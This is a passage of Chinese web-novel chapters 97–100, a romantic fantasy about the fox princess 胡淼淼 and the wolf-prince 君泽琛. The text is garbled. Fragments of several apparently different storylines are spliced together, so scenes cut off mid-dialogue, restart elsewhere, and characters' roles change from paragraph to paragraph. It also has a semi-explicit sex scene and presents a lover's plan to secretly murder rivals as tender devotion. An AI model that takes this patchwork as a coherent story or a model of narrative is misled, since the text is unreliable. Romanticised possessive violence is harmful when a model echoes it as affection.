“翠花,君世子的马车走远了吗?让他们把猫带走!” 胡淼淼瞬间腰也不酸了腿也不疼了,一把掀开面具。 时隔多年,那张俊美的面容出现在她眼底,男人五官锋利立体,是很凶的那一挂,还是熟悉的五官,熟悉的面容,唯一不同的是,他的左侧眼睛下方多了三条玄金色印记,甚至还闪闪发亮。 胡淼淼头顶的两个狐耳抖了抖。 这是什么呀? 好像蹭不掉。 她打算去摸,却在这时,男人突然睁开了锋利的眼睛,他一把攥紧她的手腕,“你做什么?” 面具啪嗒一下掉下来砸在二人中间。 胡淼淼被捏得有些发疼,眼尾红红的,有些委屈,“你凶我干嘛。” 君泽琛松手,沉默地捡起面具,起身就想走。 “站住!” 胡淼淼抱着被子坐起身,气恼地咬紧了下唇,“君泽琛,你让我很不舒服。” 男人的背影太过冷漠,导致她有些陌生。 明明上一秒他们还亲密得不分你我,可下一秒怎么就变成了这样。 他好像没这么对过她。 她委屈得要命,胸腔酸酸涩涩,耷拉着兽耳默不作声流泪,白净的小脸像是哭成了小花狐,鼻尖红彤彤的惹人心疼。 她想变成小狐狸躲进被子,却突然听男人淡淡地问:“很丑吧。” 第 97 章 第 97 章 丑什么? 胡淼淼微微一愣,狐疑地瞥两眼男人的背影,摸摸搜搜找到衣服披在身上,赤足下床绕到男人身前。 她没有看男人的脸,而是偷瞄他下方。 “丑得不是一天两天了,你竟然今天才觉得丑?” “以前就很丑?”君泽琛浑身一僵,抬手把面具焊回去,本欲离开,余光瞥见裸露在地上的白足,气恼一瞬,将她打横抱回去往床上一丢,用被子裹成蚕宝宝,居高临下看着她冷笑一声,“丑你也得受着。” 好凶啊。 胡淼淼心里空荡荡的,不服道:“我之前不一直受着吗?你个坏狼!我不和你好了。” 竟然因为脸变丑不和他好了? 男人狼眸微睁,看起来不怒自威,更像要打狐狸了,胡淼淼知道他不会打自己,犬牙压在唇瓣两侧,对他哈气,“大坏狼!” 婚后用丑家伙欺负狐,现在知道丑了,以前干嘛了? 系统不敢吱声,并僵硬地歪了歪脑袋:“喵~” 宿主宿主,你忍心丢下可爱又可怜的猫猫吗? 忍心,胡淼淼十分忍心。 不过刚要把它丢回去,站在那的君泽琛突然开口:“公主可是对臣送给您的礼物有什么不满?” 他站直了身体,慢慢走到胡淼淼面前,微微垂眸看她:“这只猫很喜欢你,本以为您会喜欢。” 男人的长相好得没话说,如今他墨发微垂,有几缕飘到他紧绷的嘴角处,加上那略微失落的眼眸,任谁看见,都忍不住信心痒难耐,上去安抚。 胡淼淼有一瞬间怀疑,原主这么追着他一个人跑,会不会因为这厮是海王,吊着原主…… 系统察觉到她思想不对,撅着大尾巴在二人身边喵喵喵:“宿主,你放心,反派他这狗脾气,其他人根本没机会逼他使用美男计。” 这一幕,在门口的卫策翠花等人看来,就是一人一猫齐上阵,势必要拿下人家长公主。 卫策满脸复杂,来时候世子爷不是这么说的。 不是说要把猫要回来吗? 难道一听公主说把他丢出去,他就怕了? 不对,世子怎会怕…… 难不成。 卫策顿悟,哦,世子还是喜欢人家公主的,搁这引起公主注意力呢。 在场之人心思各异,唯有翠花左右为难,到底是丢,还是不丢,世子那么大一个,又是镇北王的独苗苗,身娇体弱,丢出去要病很久吧…… 翠花揣测了一下,悄悄靠近卫策,小声说:“丢还是不丢?” 卫策:“……”你确定没问错人?我谁那边的人你不知道吗? 他弯下身板偷偷回答:“你傻啊,你家公主惦记我们家世子那么久,如今终于快如愿了,这个时候都是小打小闹,我们这些做下人的,别跟着掺和,走,你们带我去熟悉熟悉公主府环境,以后都是一家人了。” 翠花顿悟,向里面甩了个祝福的眼神,和其他几个丫鬟带着卫策去参观,卫策心里嘀咕:这小丫头真好骗。 正在对峙的两个人,并没注意自家下人已经不负责任开溜了,他们注意力都在彼此身上。 君泽琛思索:呵,故意强留我的猫,你就是对我念念不忘。 胡淼淼警惕:哼,故意接近我用美男计,你就是要继续坑我。 男人站着,女人坐着,视线噼里啪啦碰撞在一起,系统陷入沉思,嗯,电流的味道,闻出来了。 它抖了抖胡子,肉垫偷偷拍了拍胡淼淼,在心里艾特她:“宿主,看见没,反派想要勾搭你,快,勾搭回去。” 胡淼淼仰头盯着君泽琛,眼神都不给它一个。 “他就是想像上次一样,勾搭完坑我。” 系统:“……”它懂了,自家宿主脑子有坑,脑回路和自己不一样,它话锋一转:“嗯,你说的不错,不过他也可能是想和你较劲,他在想,原主平时勾搭他神魂颠倒,这次勾搭回来,绝不服输。” 胡淼淼:“!” 果然,在系统“挑唆”下,成功给胡淼淼输入一个:这是个比赛,不能怂,淦他! 这个时候胡淼淼脑子多多少少有点不够用,又或者是男色太妖娆,于是,她霍地一下站了起来,在君泽琛惊讶的目光下,环住了他的脖子…… 说发脾气就发脾气,他变了! 狐狸委屈得要命,两只耳朵炸着毛,美眸蒙上了一层水雾,抱着自己的膝盖,可怜兮兮一小只。 换做以前,男人早就上来哄她,而现在,他没有言语冷漠的转身就要走。 一瞬间,她气得眼睛都红了。 “君泽琛,你走出这房间,就不要回来了。” 男人腿一顿,沉默地回去搬凳子坐在门口,举手投足之间十分硬气。 胡淼淼眨了眨眼睛,把眼泪憋回去,瓮声瓮气,“怎么不走了。” 沉默寡言哑巴狼说:“总是要回来的。” “公主,君曹操是谁?他没来,君世子来了。” 不知曹操是什么梗的傻狍子丫鬟杵在原地一脸茫然,她的主子一脸哗了狗,她来回踱了几步,广袖一挥:“放狗进来。” 翠花:“???” “哦,放君世子进来。” 翠花:“……” 翠花恍恍惚惚去放狗……啊呸!去放人…… “系统,你刚才说什么,怎么解决他,继续说。” 胡淼淼也恍恍惚惚坐下,撸了撸猫耳朵,系统白绒绒,形状尖尖透着粉嫩的耳朵抖了一下。 “当然是勾搭他。” 胡淼淼:“?” 她缓缓打出来一个问号。 勾搭谁? 系统猫脸神秘兮兮:“当然是勾搭反派了,你想啊,自古英雄难过美人关,恶人自有恶人磨,反派配炮灰,你们是天造地设的一对儿啊。” 一声轻叹,他起身将人翻了个面,轻轻揉搓她的腰,“这里疼?” 趴着很没有安全感,但君泽琛这么说,胡淼淼就知道他今天放过自己了,她在心里悄悄松了一口气,尾巴抬起来,推了推他的手腕。 “再向上一点。” “这里?” 有些东西,就不能炫耀,因为它去的时候好好的,回却回不来了。 当时,某猫见到宿主那叫一个激动,四个爪子一阵乱刨,卫策未料到,一不留神让猫儿得逞,他无视手上出现的血痕,想要追回来,那厮已经顺着胡淼淼的裙摆爬到人家怀里,动作几乎留下残影。 卫策:“……” “嗯嗯。” 君泽琛的手掌很大,轻而易举包裹住她的后腰,稍微动用妖力,她那种酸胀感消失了很多,脑袋也清醒了几分。 她把枕头扒拉到眼前趴好,享受狼王的按摩,眉眼弯了弯,难以掩饰的幸福,露在外面的狐狸耳朵和尾巴更是在男人眼皮子底下一晃一晃的引人注目。 等腰酸好了,她翻了翻身,让男人给她揉小肚子。 胡淼淼拔一根胡子插它脑门上,系统抽搐了一下猫嘴再次斗鸡眼:“!” 宿主是个大骗子,你看看,还搁这狡辩呢,插脑门上的位置都一样。 说话间,一群脚步声由远及近,胡淼淼秒变脸,管理好面部表情,却又感觉缺少点什么,视线扫一圈,把桌子上早已凉了的茶端起来装模作样,余光却瞥见姗姗而来的世子爷。 来人步履蹒跚,脚步轻浮,她眯眼:有大病! 随着他走进,白色身影逆着光,长发如墨披散在背后。 胡淼淼嘴角碰了碰茶盏,嘀嘀咕咕:像贞子! 不过,当他走进,容颜清晰后,她撇嘴:白瞎了一张帅逼脸。 “臣,参见公主。” 这厮虽然没一官半职,但也并非草民,可以说胡栖国除了皇室,普天之下皆为臣子,他自称“臣”并不为过。 为过的是…… 镇北王府这厮可没这么礼貌。 胡淼淼啪地一下把茶盏放会桌子上,冷艳地掀了掀嘴角:“世子来了?” 世子正在行礼中,他动作一顿,身形晃了晃却勉强站立,语气虚弱:“臣是来……” 他瞥一眼猫。 “哦!”胡淼淼似懂非懂,指尖向门口一点,忽而恶劣道:“既然世子来了,那好了,翠花,让人把他和他的猫一起丢出去。” 叉出去谁不会啊,来啊,互相伤害啊! 你病又怎样,回去喝药吧你! 翠花:“?” 君泽琛:“!” 白猫炸毛:“喵喵喵~喵~” 宿主,你没听说他要弄死你吗?这个时候不应该赶紧亲亲抱抱举高高苟命?还有你不能再次抛下我嘤嘤嘤~ 猫儿上去就一阵虎扑,胡淼淼无情地揪住它后脖领,与它对视:“他弄死我之前我先快活快活,有意见?” 君泽琛却迟迟没动手,她疑惑地睁开眼睛,用眼神询问他怎么了。 他长叹一声,“淼淼啊,可是还在生气要惩罚我?” “没有啊?”胡淼淼不满地拉着他的手放着自己的小腹上,“腰部酸了,但这里还是有点难受。” 末了,她还不忘瞪他一眼,“你弄的,你得负责。” 君泽琛手指一颤,闭了闭眼睛,在她腹部一点。 下一秒,国色生香的美人变成了一只四仰八叉躺着的小狐狸,毛绒绒的小肚皮毫无戒备地敞开,那是狐狸最柔软的位置,君泽琛面不改色按上去,狐狸的软毛噼里啪啦炸起静电,黏在他的手上。 然后他就被狐狸用后爪踹了一脚。 “臭嘬嘬,你竟然嫌弃我人形!我都没嫌弃你狼形呢。” 狼形? 君泽琛眉心一跳,难不成她知道了? 第 98 章 第 98 章 狐不理狼了。 用完就抛的那种,前一脚还在让狼给按摩,后一脚就踹开狼,一瘸一拐地出去拥抱太阳。 很奇怪,明明只是修复了一下神魂,竟然有一种许久没见天日的感觉。 直到红溯魇凑过来说,“西院的那只白狐一个月前来过,她说同意往和王的交易。” 胡淼淼:“不是今天吗?” 她小凉飕飕的小眼神儿往君泽琛身上瞟,原以为过去一天 ,毕竟她只是睡一觉,谁知道过去了一个月。 难怪腰那么疼,都怪他。 狐狸在小账本上又重重地记下一笔。 而君泽琛还在纠结狐狸因为什么生气,他自从上次被雷劈之后本体一直没办法变回去……她到底有没有抓住过他的狼尾巴? 君泽琛心事重重,紧绷着一张脸,偏偏红溯魇哪壶不开提哪壶,“王,属下想和您决斗!” 就在一个月前,他被狼王暴打那件事儿传遍了整个狼族,狼族对他的信任更薄弱了,为了挽回尊严,红溯魇决定要和君泽琛决一死战。 他变回本体,对狼王呲牙,“来吧王,我们公平决斗,你当了几百年狼王,理应让我上去坐坐。” 胡淼淼背脊一凉,满脑子都是未来驸马的马蹄子一脚把自己踩死。 “不是还没发展到那个剧情吗?” 猫脸无辜:“可是宿主把剧情改变了啊,现在的小说世界已经不是原来那个世界了,我觉得可以叫做衍生小说世界。” “闭嘴吧你,你刚才说有办法,什么办法可以免死?就算不免死,死得也要晚一点,我才刚来几天,要是嘎巴凉了,让穿越大军的脸面往哪放?” 想想人家穿越,硬生生逆袭抗到大结局,再看看自己,开局就让反派弄死,活不到三集,都不如胡奇思那无脑活得久。 不行不行~哈哈哈,作为一切的主谋,胡淼淼让太医去找镇北王哭诉,告诉他儿子可能时日无多,不肯喝药,镇北王一听这还了得? 在朝堂上叱咤风胡的他,在那一瞬间红了眼眶,可怜天下父母心,玩归玩闹归闹,不能把这个开玩笑。 胡淼淼赶紧捅咕太医,太医才说:“只要看着世子爷服药,一切可迎刃而解。” 堂堂太医,这话说的和神棍一样。 于是,镇北王派人去熬药,自家把长公主送出府,便急匆匆看望君泽琛去了。 哪个儿子不怕老子? 反派再叛逆,在原著中也不敢动镇北王一丝一毫。 有镇北王监工,事半功倍,胡淼淼被撵出来的怨气终于消散不少,同时她决定,不管怎样,反派对原主的敌意早根深蒂固,根本不给她说好话的机会。 就算她说药是别人收买她丫鬟下的,也不见得他会相信,没准以为她耍什么花招呢。 所以…… 恨都恨上了,别刷存在感,以后能躲多远躲多远,趁着没造反,他时间久了,应该会淡忘她的存在吧? 一番思索,胡淼淼打道回府,只不过隐约感觉,自己似乎忘记了什么…… “要不,连夜逃跑?” 甭管怎么顺理成章脱离公主身份了,赶紧能逃多远逃多远,让对方找不到不就没事了? 胡淼淼坐在位置上,手无意识地抚摸猫毛,撸猫的快乐在这一刻丝毫感受不到。 反倒是系统,它舒舒服服眯起小猫眼,鸡毛掸子一样的尾巴晃荡,不一会便打起来呼噜,它边呼噜边道:“宿主啊,你智商咋那么让系统着急呢,你是公主的时候有这层身份在,他只敢背地里来,你偷偷跑路,不是公主的时候,他明着暗着都敢弄死你,所以……” 不等系统喵喵完,翠花小步跑过来,笑眯眯夸赞:“不愧是殿下,料事如神。” “嗯!”胡淼淼恢复仪表,淡淡颔首。 虽然她不知道自己怎么料事如神了,但是这个时候,一定要摆出公主的姿态,逼/格最要紧。 翠花美滋滋:“那殿下,奴婢这就把世子爷带进来,你们慢慢聊~” 说着她转身提起裙摆打算跑出去叫人。 “等等!” 胡淼淼站起来,抖了抖身上的猫毛,震惊:“君曹操来了?” 山鬼也默默把一本话本塞给狐狸,“自带的书,驭夫之道,你值得拥有。” 胡淼淼垂眸,目光扫过书上的几个大字,默不作声塞回怀里。 收好,回去让君泽琛学。 “走,收拾收拾,我们出去。” “可是我们能出去吗?外面有结界。” 胡淼淼左手一只鸡,右手一只鬼,直接提溜出去,一打开院门,便见一个阴魂不散的身影和木桩似的杵在那里。 那黑黝黝的脸色把胡淼淼手里的两只小家伙吓得差点魂飞魄散,胡淼淼把小伙伴往身后一藏,“做什么?不能出去?” “不是,我是来和他们道歉的,之前你昏迷我太难过,思虑不周才把他们关起来……” 正至中午,阳光火热却仿佛怎么都无法照在他身上,他就像是深处阴暗里的孤狼,孤寂可怜。 认错态度良好。 诽谤,绝对诽谤。 胡永斌在她突然狂暴的动作下差点一口气过去,他别扭地把脸转开:“皇姐自己说的,不然为什么会觉得出宫是小事,你就那么不愿见皇弟吗?” 胡淼淼:“!” 嚯?世子殿下到底病得多重,胡淼淼信了他的鬼,这明显是不想见人嘛。 那厮不会暗搓搓把她加入黑名单,打算不鸣则已一鸣惊人,躲起来放大招呢吧? 不管怎么样,来都来了,他越是不让她见,她越是要见,要是病入膏肓,看一眼也放心。 打定主意,长公主殿下挤出一抹关切的笑:“世子这般严重,本宫来此就是看他的,如若看不见,这良心难安啊。” 说实话,胡淼淼能沦为十八线小演员,不是没有原因的,她那演技总有点差强人意,她自以为的关切,落入别人眼中,愣是看出“我去给你们家世子收尸”的架势。 前来禀报的侍卫嘴角抽了抽,一时间开始怀疑。 长公主真的喜欢他家世子爷吗? 他硬着头皮说:“回禀公主,世子房内病气重,万不可沾染给您……” “瞧你这话说的,本宫身体不如你们世子娇弱,自然不会怕什么病气。” 胡栖国因为原创作者历史成绩不高,所以并非符合逻辑的朝代,这里对于女子的束缚并不多,并没有传说中的男女见面需要隔一个屏风,看了脚就失去贞洁那种。 可让一个尚未出阁的姑娘抛去矜持画春/宫/图,这是人干的事? 离了个大谱! 当天下午,太阳西斜,叶氏便风风火火入宫,试图给宝贝女儿求情。 “淼淼啊,奇思这丫头平日里没什么心眼,你别和她一般见识,这抄书不妥当,更何况还是那种书,今后要让她怎么见人啊。” 当年在先皇后面前虚与委蛇的女人,心机自然不浅,按照胡奇思的性格,回家一定逼逼赖赖告状,女儿被人欺负,作为母亲她看不出任何异常,好似被欺负的另有他人。“……”这话怎么听着那么古怪? 在胡淼淼坚持下,镇北王让侍卫退下,亲自带胡淼淼去东院。 孩子你脑了一手好补,这样行? 她屈指在他龙冠上弹了一下,哭笑不得:“小家伙,我说的是,你皇姐我出宫又不是死了,你有什么好担心的,大不了我经常回来看你,实在想我,你就悄悄带着暗卫去长公主府玩,反正公主府离皇宫不远,记得,要偷偷的,不然你半路让人KO了,我可就没弟弟了。” 更可怕的是,要是嘎巴一下重生直接干反派去,她不就提前炮灰了? “这样吗?”总感觉哪里不对劲儿…… 胡永斌似懂非懂,勉强同意了她的说法,原来皇姐不是这个意思,是他误会皇姐了。 意识到这一点,小皇帝脑袋瓜转回来,正好看见人家衣服上的水泽,他羞窘地低下头掰手指。 都怪他,瞎想什么,还哭鼻子,让皇姐看笑话了,不过,他要对皇姐更好一些,他现在是皇上了,要给皇姐最好的。 嗯……君世子她已经不想要了,想要什么来着? 哦,三条腿的男人…… 胡淼淼抿了一下唇瓣,“你……吓到他们了。” 君泽琛森绿的眼珠动了动,目光落在她身后,“我给他们安排了新家,现在就可以入住,就在咱们隔壁。” 胡淼淼原本打算找一处和鸡大妖他们凑合一晚的,闻言思索片刻,也行吧,隔壁也算分床睡。 君泽琛的道歉态度很诚恳,好吃好喝地招待,还让狼们任听差遣,给了鸡大妖一兜子妖丹,鸡大妖馋得和什么似的,美滋滋收下抱着妖丹不撒手。 而山鬼没别的爱好,就是喜欢看话本,君泽琛让狼妖搜集了各处话本,统统塞她的新房间里,成功将山鬼收买。 而胡淼淼,左看看右看看,“是不是少了一间?” “这里就两间房,他们两个住够了。”男人淡淡道。 胡淼淼指了指自己,“我啊,我要和他们一起。” 君泽琛直接将人抱走。 “挤不下,回家吧,别耽误他们修炼。” 第 99 章 第 99 章 “放开我!” “救命啊!绑架狐了!” “君泽琛,我数到三,放我下去,不然我跟你没完。” “一!” “二!” “三!” 胡淼淼屁股落在床上瞬间弹射出去,被牢牢拽回去,罪魁祸首情绪稳定:“放你下去了。” 言下之意,还想怎样? “谁让你放床上!”床上有火,火烧屁股,狐狸一分一秒都坐不下去,因为她总有一种危机感,她毫不怀疑她要是往床上一躺,坏狼就会凑过来和她睡觉,一睡就又过去一个月。 妖界寿命再怎样漫长,也经不起这般挥霍。 君泽琛将她重新抱起来,冷声道:“别闹,夫妻不能分床睡。” “谁规定的,我就要分床睡。” 狐跑,被他放回去。 狐再跑,狼再放,如此反复折腾得胡淼淼气喘吁吁,她气得脸通红,“那你打地铺,反正我不和你睡。” “夫妻不能分床睡。” 君泽琛好像是鹦鹉附体,反反复复重复那句话,把狐气到没脾气。 她盘膝而坐,“行啊,给我看看原形。” 胡淼淼一睁眼就看见男人着急的脸色,她恍惚中回神摇了摇头,表示没事,可那神色就不像没事的人。 本就脸色苍白的她此时看起来更加羸弱,好像一碰就会碎的玉石,需要人细心呵护,可把君泽琛小心肝吓坏了。 “做噩梦了?”君泽琛揽着她,声音轻柔深怕吓到她。 “别怕,有我!”到了晚上,昏暗的灯光下,男人面容冷峻,眉眼朦胧之中,好像放绿光? 胡淼淼:“……?” “你……”这是怎么了? 还没等她把话说完,男人大步上前,在她惊诧的视线中把她抱住,然后…… 就没有然后了。 君泽琛抱住胡淼淼,二人之间的距离很近,他没有其他动作,只是死死淼视着她,胡淼淼被看得莫名其妙:“你怎么了?” 却见男人眉心一皱:“不对……” 胡淼淼:“什么不对?” 君泽琛:“……” 他今日看过的一个小册子话本中,男主人公抱住女主人公,二人深情款款对视,然后擦出爱的火花,不知不觉之中就亲上了,之后水到渠成…… 可是,他确实有冲动,淼儿为什么一点反应也没有? 难道是对视的不够深沉? 好的,再来一次! 胡淼淼问完就发现,男人再次不说话 ,而是一个劲盯着她猛瞧。 她眉心一跳,靠在君泽琛怀中抓着他胸前衣衫的手一紧。 “你……是想告诉我……”她有些迟疑道:“你也认错人了吗?” “什么?”君泽琛终于结束了对视,一时间没反应过来她说什么。 胡淼淼有些压抑的垂下长睫:“君子华曾经以为我是他的救命恩人……而后找错人了……” 她知道,君子华是君子华,君泽琛是君泽琛,不该如此比较,可是…… 有些事情,经历过一次,终究还是在意的。 君子华以救命恩人的名义找到她,又弃如敝履…… 君泽琛同样以救命恩人的名义,虽然对方陈述正确,眼眸气息都很像,可若是有什么意外呢? 君泽琛没想到他的一时兴起,竟然让佳人难过了,刚鼓起的勇气当下就泄气了。 他一手揽着她,一手抚上她的脸颊,声音轻柔:“想什么呢,这辈子,认错谁,都不会认错你。” “我刚才……就是……”君泽琛想解释,却又不知道如何开口,他忍不住懊恼,但凡把杀·人的勇气用到谈恋爱上面,也就不会有前世的遗憾了。 最终他一闭眼,一咬牙,决定用行动说话,一个猛亲,然后一时没注意,就亲歪了。 胡淼淼错愕的发现男人竟然对着自己头上就吻了下去,这不是重点,重点是…… 钗子…… “嘶~” 君泽琛捂嘴:“……磕……磕到牙了。” 胡淼淼:“……” 那种压抑情绪来的快去的也快,她就想说,何人能在这傻男人面前压抑得起来? 她翘了一下嘴角,纤弱白皙的手指抚上拿开他的手,在他呆滞的目光下揉了揉他唇角。 “还疼吗?” “没事……”只是那梦过于真切,那个婴儿是谁? 她又为什么梦见素未相识的孩子? 要换做旁人,只会笑着不甚在意,转眼就忘记,可胡淼淼不会,因为她有预感,这或许又是某种预兆。 她之前梦见是将来的事,可现在她又不是小孩子,难道…… 昨天她与琛王关系刚有进展,就梦见未来的孩子了? 思及此处,胡淼淼表情更加微妙,应该不会吧。 这件事情胡淼淼默默就记在心里,抬头看向窗边,窗边光线透亮,想来已经过了早晨,今日她起这么晚。 见胡淼淼情绪好转,君泽琛叫若冰进来,竟亲自拿起毛巾,宽大的手笨拙地把毛巾放在热水中润湿,胡淼淼按住他:“我自己来。” 她又不是残疾,洗脸都要伺候,未免太娇气了。 君泽琛挥退了若冰,待屋内再次剩下二人,反握住她,柔声道:“你昨天晚上,答应的话可作数?” 昨天胡淼淼答应的太突然,他只顾着高兴了,甚至忘记认真思考,淼儿是不是因为他们二人已经成为夫妻,以为事情没法改变,才妥协的? 一想到对方会委曲求全,君泽琛就心慌。“嗯……啊~~~” 华丽的室内陈设华丽,一张足够躺下四五人的大床上,红浪翻飞,大床被碰撞力道压的嘎吱嘎吱作响,一道道令人耳红心跳的暧·昧不断从其中传出…… 其中女人不断求饶:“啊,慢点……疼。” 男人不为所动,继续重复着某些事情甚至更加猛烈,回应的只有粗重的呼吸,汗水低落在女子肌肤晕染开…… “嘶~” “淼儿……”一声呢喃,女人盘着他的动作一僵…… 不知过了多久,一阵麝·香传出,气味充斥整个房间,男人理智回归,有些懊恼地从女人身体退出,把人抱在怀中歉意道:“对不起,我昨夜喝多了……”没想到会酒后…… “子华……”女人忍着疼痛,趴在他怀中啜泣:“我不怪你,反正我喜欢的人是你,这辈子也非你不嫁,可是……我……” 君子华帮她擦去眼泪:“放心,我会娶你。” 前世淼儿一直在君子华那后院忍让,什么委屈都藏在心里郁郁寡欢,淼儿在他府上绝对不行。 “淼儿,其实你可以好好考虑,我给你时间不强迫你,不用担心王妃身份问题,若是你有喜欢之人也没关系,大可以放心告诉我,其他交给我去解决。” 然后他再悄咪咪杀掉,只要不强迫淼儿就好,君泽琛想,他去强迫别人。 没有人能把淼儿照顾的更好,这一世谁都别想夺走她,就算是阎王也不可以。 胡淼淼并不知道某人鬼畜的想法,只以为,这个男人太体贴了,之前她与君子华在一起,他没来打扰,直到她有难,才庭挺身相助,堂堂琛王,竟有这种卑微的想法。 她淼视那满脸执着的脸,男人长相俊美张扬,一举一动都吸引人眼球,可偏偏对自己那么好,她还有什么不知足的? 就这样吧。 反正已经嫁给他了。 “我认真的,没有勉强,这辈子,只要你不负我,就一直当你的琛王妃。” 君泽琛忐忑的心情一扫而空,琛去刚才那杀人的情绪,把毛巾拧干净,去轻轻擦过她透白的脸颊,手微微颤抖…… “答应了,就不可反悔,现在夫君帮……娘子净面,天经地义。” 热毛巾很暖,却终究抵不过那句“夫君”“娘子”以及天经地义…… 这世间,一般都是男尊女卑,琛王能放下芥蒂,把事情做的理所应当。 胡淼淼觉得,她不能让对方一方面付出,毕竟爱情是两个人的事,虽然此刻她还不曾爱上他只是有轻微好感,但还是要做点什么。 在对方伺候下,她净面漱口。 “那今后……我也帮你,你若有什么需要我做的,尽管开口。” 刚放下脸盆的男人鹰眸一亮,回头想也不想道:“那我能吻你吗?” 他在胡淼淼跟前晃了晃,“开始学习看书了?” 能看明白吗? 胡淼淼不满地瞪他一眼,要去夺书,男人坐起身手臂抬高,她够不到,干脆躺平:“山鬼的书,那你好好学学吧。” 山鬼说了,驭夫之道,大概意思应该是让男人学的,让他们学会怎么当夫君,当夫君的道理…… 胡淼淼干脆就不抢了,自己拿过被子往身上一盖,滚到床的里头,打了个哈气,“天色还早,今天你就在床上睡一晚吧,什么时候学会了什么时候抱我睡。” 学习一本书的难度在狐看来得十天半个月,正好让她好好休息。 她舒坦地闭上眼睛,被子里有些热,伸出一条狐尾散散气。 徒留君泽琛被晾在原地,他苍绿的眼眸反复确认书籍的名字,是驭夫之道没错,不应该是她学吗? 他靠在床头,余光瞥一眼倒头大睡的狐狸,在心里幽幽叹口气。 罢了,嫁衣都是他绣的,能指望一只狐狸做什么? 她乖乖地不闯祸不受伤,已是万幸。 他学就学吧。 毕竟狐狸都不一定认字。 男人修长的手指掀开第一页,突然动作停顿住,浑身肌肉紧绷一瞬,不太确定地合上,再次打开,还是之前看见的内容。 竟然带图的……而且…… :PM、69、氵》、れ…… 图很丰富,每一个动作旁边都有注解,包括那么做的理由和感受。 君泽琛深呼一口气,胸腔起起伏伏,脸色渐行渐黑。 难怪让他学,臭狐狸这是嫌他技术差吗? 第 100 章 第 100 章 梦,永无止境的梦境。 从修补神魂意识海出现浮生镜碎片之后,每一天闭上眼睛,都会进入奇妙的梦境。 梦里,有一个既温柔又疏离的声音,不断催促胡淼淼去寻找完整的浮生镜。 说什么那是属于她的东西,一定要拿回来,不然会引起天下大乱。 无形中,像是有一个枷锁无声无息落在她身上,压得她有些喘不过气。 胡淼淼挣扎出梦境,天色依然大亮,不出意外的,她俩爪之间有一个乌漆嘛黑的黑脑袋瓜。 是狼脑袋。 半个月的时间可以发生很多事情,比如君泽琛半个月没上朝政,皇上在朝堂上过的风生水起。 比如年关接近,京城上上下下都充满了年味,到处张灯结彩热闹非凡,琛王府曾经别说过年了,全府五彩斑斓的黑,人家过年喜气洋洋,他们过年过了个寂寞。 而今年不同,今年他们有了位女主子,君泽琛伤势彻底好了,开始布置王府,原因无他,这是他与小娇妻第一次在一起过年,势必要隆重一些。 好让小娇妻对王府有归属感! 在王府中,君泽琛这几日前所未有的柔和,其他人也讨到了好处。 胡淼淼身体不好,平时很少出门,并不知王府来了一波大变样,只知道…… 咳咳!大殿内所有人都因为琛王的话看向君子华,就连胡淼淼也被搞得一懵,下意识回眸。 桌子底下,君泽琛漫不经心把玩着她的手,另一只手轻点君子华的方向,语气早有预谋,“今日是华皇侄的选妃宴,本王就不喧宾夺主了,还是快帮他物色物色吧,眼光烂成这样,今后可别被某些心术不正的女人勾了去,本王做皇叔的都觉得丢人。” 君泽琛话中有话意有所指,让众人噤若寒蝉,就连想把主意打在君泽琛身上的女人们都不敢吱声了,下意识看向上方。 果然皇上脸色不太好。 说什么做皇叔觉得丢人,那岂不是讽刺他这个做父皇的? 琛王好大的胆子! 越来越无法无天了,总有一天,他要彻底拔除这个隐患! 还有一点,皇上让君子华办选妃宴,目的是为了琛王选妃,因为他知道,直接以琛王选妃的名义,对方肯定不会乖乖听话。 反而先斩后奏,当着文武百官的面赐给他几个,若是琛王当场拒绝,自然当众得罪文武百官,如果琛王同意了,将军之女,也就要交代在后院,届时将军府琛王府结仇…… 可是万万没想到这混账当众答应,反手就把锅推给君子华了! 更用君子华选妃的名义,不愿喧宾夺主! 呵~ 笑话,琛王喧宾夺主的事情可没少做,现在装什么? 皇上微微坐直身体,目光略沉:“皇弟不用如此谦让,今日正好爱卿们的千金都在场,若有看对眼的,也算一代佳话。” “本王可不是什么人都能看得上。”君泽琛微微勾起唇间,锋利的眉眼上扬,“本王此生可就爱琛王妃一人,其他人……” 他目光锐利,在场内扫视一遍,语气阴冷:“来一个死一个。” 嗖嗖嗖~ 众千金顿时歇菜,躲在母亲身后,垂着眼睛咬手帕。 琛王实在太凶残了,那眼睛好像能吃人。 他们不会怀疑此话真假,因为琛王确实能干出来这种事儿。 原来,琛王的温柔,不是每个人都能得到的,这是女人们心中的想法,她们悄悄瞥向琛王妃,眼底深处满是羡慕。 不说别人,就说胡淼淼,她在听到君泽琛话后晃了一下神,好似对方在表白一样…… 当她侧眸,却正好撞入那一片墨色瞳仁中,那双眸子像深渊,注视久了就会迷失自我。 一场以三王爷名义搞的选妃宴,被乱得一塌糊涂,君泽琛借事表白之后,没等胡淼淼多想,他就和疯狗似的咬定三王爷不放松,把他点的那几个丑千金全怼给君子华。 君子华当然不会同意,可是如果他拒绝,会如皇上所想的那般得罪那几名女子的父亲,君臣离心。 只怕皇上做梦都没想到,给君泽琛穿的小鞋,最终穿在他儿子身上。 皇上威严的咳嗽一声,“华儿,既然你皇叔为你挑选了,就收下,朕再给你指一名正妃,你可有看上的?” 君子华:“……” 他正要说什么,抬眼就看见了父皇威严的眼神,到嘴的话咽了下去。 君子华心有不甘,冷眼扫向君泽琛,然而目光不经意路过胡淼淼身上,胸口的闷气顿时一消。 呵呵~ 不过是纳几个女人而已,君泽琛这么做的心思,他又岂会不晓得? 定是胡淼淼对自己念念不忘,君泽琛不甘心,才让他赶紧娶其他女人,好让胡淼淼死心。 可是君泽琛知不知道,他纳女人,伤心的只会是胡淼淼,到时候,胡淼淼肯定会怪罪于他。 君子华心思百转,选妃也不是不可接受了。 此刻,某人完全忘记了初衷 ,也忘记前几日还答应叶水芸,选妃只不过是权宜之计,最爱的还是她。 有些男人,口上是一套,遇见事情后立场永远不坚定,到时候会以“苦衷”二字委屈他人,来成全自己。 君子华想的挺好,却不知他默认的态度,让胡淼淼产生了失望、庆幸等情绪…… 失望的是,原以为他抛弃她,是爱上了另一个女人,未曾想到,他和其他男人都一样,纳女人不过随嘴的事,听之任之。 庆幸的是,她没嫁给这样的男人,就算婚礼上没遇见意外嫁给他,是不是只要皇上金口玉言,他可以大婚没几日,一个又一个娶进门,忘记曾经的承诺? 胡淼淼突然意识到,相处三年,她真的认识这个男人吗? 还是全天下男人,都会伪装? 下意识,胡淼淼看向身边的男人,见对方正在看自己,眼如深海,藏着她不太懂的旋涡,像是要把她吞之入腹…… 她所住着的卧室,红的耀眼,红的妖冶,红的像新房一样。 